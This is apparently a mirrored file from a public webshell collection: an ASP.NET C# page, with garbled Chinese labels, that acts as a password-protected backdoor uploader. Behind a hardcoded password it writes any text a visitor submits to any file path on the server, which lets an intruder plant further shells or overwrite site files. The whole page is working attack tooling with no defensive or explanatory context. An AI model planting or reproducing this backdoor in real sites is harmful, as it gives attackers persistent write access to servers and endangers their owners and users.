mirror of
https://github.com/tennc/webshell
synced 2024-11-22 11:13:03 +00:00
57 lines
1.8 KiB
Text
57 lines
1.8 KiB
Text
|
<%@ Page Language="C#" AutoEventWireup="true" validateRequest="false"%>
|
|||
|
<html>
|
|||
|
<head runat="server">
|
|||
|
<title>08С<38><D0A1><EFBFBD>ڲ<EFBFBD><DAB2><EFBFBD><EFBFBD><EFBFBD>ר<EFBFBD><D7A8> www.huc08.com</title>
|
|||
|
<style type="text/css">
|
|||
|
.btn{
|
|||
|
background-color:transparent;
|
|||
|
color:#00FF00;
|
|||
|
border:1px solid #00FF00;
|
|||
|
font-size:12px;
|
|||
|
font-weight:bold;
|
|||
|
}
|
|||
|
</style>
|
|||
|
<script language="c#" runat="server">
|
|||
|
void Page_Load(object sender, EventArgs e)
|
|||
|
{
|
|||
|
this.lblthispath.Text = Server.MapPath(Request.ServerVariables["PATH_INFO"]);
|
|||
|
}
|
|||
|
void btnUpload_Click(object sender, EventArgs e)
|
|||
|
{
|
|||
|
string password = "TNTHK";
|
|||
|
if (password.Equals(this.txtPass.Text))
|
|||
|
{
|
|||
|
System.IO.StreamWriter sw = new System.IO.StreamWriter(this.txtPath.Text,true,System.Text.Encoding.GetEncoding("gb2312"));
|
|||
|
sw.Write(this.txtContext.Text);
|
|||
|
sw.Flush();
|
|||
|
sw.Close();
|
|||
|
Response.Write("<22>ϴ<EFBFBD><CFB4>ɹ<EFBFBD><C9B9><EFBFBD>");
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
Response.Write("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD>ݣ<EFBFBD>");
|
|||
|
}
|
|||
|
}
|
|||
|
</script>
|
|||
|
</head>
|
|||
|
<body style="font-size:12px;font-weight:bold;color:#00FF00;font-family:Arial, Helvetica, sans-serif;background-color:#000000;">
|
|||
|
<form id="form1" runat="server">
|
|||
|
<div>
|
|||
|
<20><><EFBFBD>ļ<EFBFBD>·<EFBFBD><C2B7>:<asp:Label runat="server" ID="lblthispath" Text=""></asp:Label>
|
|||
|
<br />
|
|||
|
<br />
|
|||
|
<20>ϴ<EFBFBD><CFB4>Ŀ<EFBFBD><C4BF><EFBFBD>:<asp:TextBox runat="server" ID="txtPass" Width="400px"></asp:TextBox>
|
|||
|
<br />
|
|||
|
<br />
|
|||
|
<20>ϴ<EFBFBD><CFB4><EFBFBD>·<EFBFBD><C2B7>:<asp:TextBox runat="server" ID="txtPath" Width="400px" ></asp:TextBox>
|
|||
|
<br />
|
|||
|
<br />
|
|||
|
<20>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<asp:TextBox runat="server" ID="txtContext" Width="400px" Height="250px" TextMode="MultiLine"></asp:TextBox>
|
|||
|
<br />
|
|||
|
<br />
|
|||
|
<br />
|
|||
|
<asp:Button runat="server" ID="btnUpload" text="<22>ϴ<EFBFBD>" CssClass="btn" OnClick="btnUpload_Click"/>
|
|||
|
</div>
|
|||
|
</form>
|
|||
|
</body>
|
|||
|
</html>
|